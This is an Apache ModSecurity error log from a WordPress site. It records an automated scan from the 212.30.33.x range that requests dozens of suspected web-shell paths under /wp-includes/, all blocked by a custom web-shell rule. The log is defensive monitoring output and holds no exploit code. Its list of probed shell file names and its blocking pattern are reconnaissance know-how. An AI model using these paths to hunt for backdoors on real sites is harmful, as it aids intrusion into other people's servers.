[Sun Mar 15 10:42:34.670471 2026] [:error] [pid 38541:tid 38617] [client 212.30.33.95:29743] [client 212.30.33.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "abYcmnuOpex8jIO0jt4yMAAAAIQ"]
[Sun Mar 15 10:42:36.316659 2026] [:error] [pid 50986:tid 51011] [client 212.30.33.55:54667] [client 212.30.33.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "abYcnCknK4c779bcQqHhxgAAAVY"]
[Sun Mar 15 10:42:37.963841 2026] [:error] [pid 50986:tid 51010] [client 212.30.33.87:39025] [client 212.30.33.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "abYcnSknK4c779bcQqHh1wAAAVU"]
[Sun Mar 15 10:42:38.775705 2026] [:error] [pid 38645:tid 38655] [client 212.30.33.213:21591] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "abYcnhFPHtsDUuVrWDaqigAAAMg"]
[Sun Mar 15 10:42:39.979252 2026] [:error] [pid 50986:tid 51005] [client 212.30.33.91:20429] [client 212.30.33.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "abYcnyknK4c779bcQqHh6AAAAVA"]
[Sun Mar 15 10:42:41.606422 2026] [:error] [pid 9995:tid 10010] [client 212.30.33.98:31281] [client 212.30.33.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "abYcoQa8xkcaSmgTbwgvSgAAAQw"]
[Sun Mar 15 10:42:42.412255 2026] [:error] [pid 38540:tid 38605] [client 212.30.33.95:49707] [client 212.30.33.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "abYcol8bnHsJ1dE90bIcLAAAAFM"]
[Sun Mar 15 10:42:43.219979 2026] [:error] [pid 50986:tid 51004] [client 212.30.33.80:45571] [client 212.30.33.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "abYcoyknK4c779bcQqHiAQAAAU8"]
[Sun Mar 15 10:42:44.870795 2026] [:error] [pid 38541:tid 38616] [client 212.30.33.90:54835] [client 212.30.33.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "abYcpHuOpex8jIO0jt4yrAAAAIM"]
[Sun Mar 15 10:42:45.695556 2026] [:error] [pid 38541:tid 38637] [client 212.30.33.74:32941] [client 212.30.33.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "abYcpXuOpex8jIO0jt4yswAAAJg"]
[Sun Mar 15 10:42:46.513904 2026] [:error] [pid 50986:tid 51000] [client 212.30.33.85:49879] [client 212.30.33.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "abYcpiknK4c779bcQqHiLwAAAUs"]
[Sun Mar 15 10:42:47.346409 2026] [:error] [pid 50986:tid 51006] [client 212.30.33.90:20755] [client 212.30.33.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "abYcpyknK4c779bcQqHiPQAAAVE"]
[Sun Mar 15 10:42:48.173548 2026] [:error] [pid 50986:tid 51010] [client 212.30.33.79:60925] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "abYcqCknK4c779bcQqHiSQAAAVU"]
[Sun Mar 15 10:42:49.405906 2026] [:error] [pid 9995:tid 10006] [client 212.30.33.74:26615] [client 212.30.33.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "abYcqQa8xkcaSmgTbwgvpQAAAQg"]
[Sun Mar 15 10:42:50.209577 2026] [:error] [pid 9995:tid 10007] [client 212.30.33.56:21227] [client 212.30.33.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "abYcqga8xkcaSmgTbwgvsAAAAQk"]
[Sun Mar 15 10:42:51.039098 2026] [:error] [pid 38540:tid 38590] [client 212.30.33.63:56221] [client 212.30.33.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "abYcq18bnHsJ1dE90bIceAAAAEQ"]
[Sun Mar 15 10:42:52.292676 2026] [:error] [pid 50986:tid 51002] [client 212.30.33.97:56063] [client 212.30.33.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "abYcrCknK4c779bcQqHiigAAAU0"]
[Sun Mar 15 10:42:53.931212 2026] [:error] [pid 38541:tid 38635] [client 212.30.33.71:24003] [client 212.30.33.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "abYcrXuOpex8jIO0jt4y-gAAAJY"]
[Sun Mar 15 10:42:56.989817 2026] [:error] [pid 50986:tid 51010] [client 212.30.33.98:64425] [client 212.30.33.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "abYcsCknK4c779bcQqHi0wAAAVU"]
[Sun Mar 15 10:43:00.296975 2026] [:error] [pid 50986:tid 51008] [client 212.30.33.179:59667] [client 212.30.33.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "abYctCknK4c779bcQqHjJQAAAVM"]
[Sun Mar 15 10:43:03.580005 2026] [:error] [pid 38541:tid 38634] [client 212.30.33.87:44859] [client 212.30.33.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "abYct3uOpex8jIO0jt4zYQAAAJU"]
[Sun Mar 15 10:43:04.399532 2026] [:error] [pid 38536:tid 38569] [client 212.30.33.91:30421] [client 212.30.33.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "abYcuPpTEqkVJ0rBEWvE7QAAABA"]
[Sun Mar 15 10:43:05.198310 2026] [:error] [pid 50986:tid 51001] [client 212.30.33.166:25521] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "abYcuSknK4c779bcQqHjbgAAAUw"]
[Sun Mar 15 10:43:08.092762 2026] [:error] [pid 38541:tid 38619] [client 212.30.33.89:63663] [client 212.30.33.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "abYcvHuOpex8jIO0jt4zkAAAAIY"]
[Sun Mar 15 10:43:09.707494 2026] [:error] [pid 38645:tid 38661] [client 212.30.33.62:27305] [client 212.30.33.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "abYcvRFPHtsDUuVrWDarvAAAAM4"]
[Sun Mar 15 10:43:11.320736 2026] [:error] [pid 50986:tid 51005] [client 212.30.33.64:38023] [client 212.30.33.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "abYcvyknK4c779bcQqHkEgAAAVA"]
[Sun Mar 15 10:43:12.559369 2026] [:error] [pid 38540:tid 38598] [client 212.30.33.213:49089] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "abYcwF8bnHsJ1dE90bIdfwAAAEw"]
[Sun Mar 15 10:43:14.996392 2026] [:error] [pid 50986:tid 50989] [client 212.30.33.100:64747] [client 212.30.33.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "abYcwiknK4c779bcQqHkawAAAUE"]
[Sun Mar 15 10:43:15.798557 2026] [:error] [pid 42570:tid 42584] [client 212.30.33.83:26461] [client 212.30.33.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "abYcw8IUXZJLmk_gYCOXyQAAAYs"]
[Sun Mar 15 10:43:17.468708 2026] [:error] [pid 9995:tid 10013] [client 212.30.33.101:64937] [client 212.30.33.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "abYcxQa8xkcaSmgTbwgwlwAAAQ8"]
[Sun Mar 15 10:43:18.281677 2026] [:error] [pid 42570:tid 42576] [client 212.30.33.82:57887] [client 212.30.33.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "abYcxsIUXZJLmk_gYCOX2QAAAYM"]
[Sun Mar 15 10:43:21.930904 2026] [:error] [pid 38540:tid 38586] [client 212.30.33.93:59171] [client 212.30.33.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "abYcyV8bnHsJ1dE90bId-AAAAEA"]
[Sun Mar 15 10:43:22.731870 2026] [:error] [pid 38645:tid 38668] [client 212.30.33.94:34157] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "abYcyhFPHtsDUuVrWDasNAAAANU"]
[Sun Mar 15 10:43:24.345508 2026] [:error] [pid 42570:tid 42578] [client 212.30.33.179:54465] [client 212.30.33.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "abYczMIUXZJLmk_gYCOYFAAAAYU"]
[Sun Mar 15 10:43:25.147181 2026] [:error] [pid 42570:tid 42580] [client 212.30.33.71:55839] [client 212.30.33.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "abYczcIUXZJLmk_gYCOYJAAAAYc"]
[Sun Mar 15 10:43:27.627190 2026] [:error] [pid 38645:tid 38653] [client 212.30.33.60:56995] [client 212.30.33.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "abYczxFPHtsDUuVrWDasWwAAAMY"]
[Sun Mar 15 10:43:28.895623 2026] [:error] [pid 50986:tid 51005] [client 212.30.33.229:58201] [client 212.30.33.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "abYc0CknK4c779bcQqHlKQAAAVA"]
[Sun Mar 15 10:43:30.540514 2026] [:error] [pid 50986:tid 50991] [client 212.30.33.63:64757] [client 212.30.33.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "abYc0iknK4c779bcQqHlXwAAAUM"]
[Sun Mar 15 10:43:31.407703 2026] [:error] [pid 38540:tid 38590] [client 212.30.33.56:64299] [client 212.30.33.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "abYc018bnHsJ1dE90bIedAAAAEQ"]
[Sun Mar 15 10:43:32.227014 2026] [:error] [pid 9995:tid 10021] [client 212.30.33.53:41763] [client 212.30.33.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "abYc1Aa8xkcaSmgTbwgw5QAAARc"]
[Sun Mar 15 10:43:33.033294 2026] [:error] [pid 50986:tid 51004] [client 212.30.33.166:54467] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "abYc1SknK4c779bcQqHlgAAAAU8"]
[Sun Mar 15 10:43:34.647858 2026] [:error] [pid 50986:tid 50991] [client 212.30.33.69:46825] [client 212.30.33.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "abYc1iknK4c779bcQqHlkgAAAUM"]
[Sun Mar 15 10:43:41.425385 2026] [:error] [pid 38536:tid 38555] [client 212.30.33.101:62405] [client 212.30.33.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "abYc3fpTEqkVJ0rBEWvF_QAAAAI"]
[Sun Mar 15 10:43:44.277553 2026] [:error] [pid 42570:tid 42577] [client 212.30.33.61:57555] [client 212.30.33.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "abYc4MIUXZJLmk_gYCOZSgAAAYQ"]
[Sun Mar 15 10:43:45.073200 2026] [:error] [pid 38540:tid 38594] [client 212.30.33.56:58415] [client 212.30.33.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "abYc4V8bnHsJ1dE90bIe_AAAAEg"]
[Sun Mar 15 10:43:46.319943 2026] [:error] [pid 38645:tid 38671] [client 212.30.33.64:63289] [client 212.30.33.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "abYc4hFPHtsDUuVrWDatDAAAANg"]
[Sun Mar 15 10:43:48.360151 2026] [proxy_fcgi:error] [pid 38645:tid 38669] [client 212.30.33.85:29681] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:43:49.169081 2026] [:error] [pid 38645:tid 38670] [client 212.30.33.85:29681] [client 212.30.33.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "abYc5RFPHtsDUuVrWDatRAAAANc"]
[Sun Mar 15 10:43:50.369633 2026] [:error] [pid 50986:tid 51011] [client 212.30.33.166:54495] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "abYc5iknK4c779bcQqHmUQAAAVY"]
[Sun Mar 15 10:43:51.663679 2026] [:error] [pid 50986:tid 51010] [client 212.30.33.61:56205] [client 212.30.33.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "abYc5yknK4c779bcQqHmdgAAAVU"]
[Sun Mar 15 10:43:52.894562 2026] [:error] [pid 38536:tid 38558] [client 212.30.33.80:34813] [client 212.30.33.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "abYc6PpTEqkVJ0rBEWvGXwAAAAU"]
[Sun Mar 15 10:43:54.520177 2026] [:error] [pid 38645:tid 38670] [client 212.30.33.60:61401] [client 212.30.33.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "abYc6hFPHtsDUuVrWDat1wAAANc"]
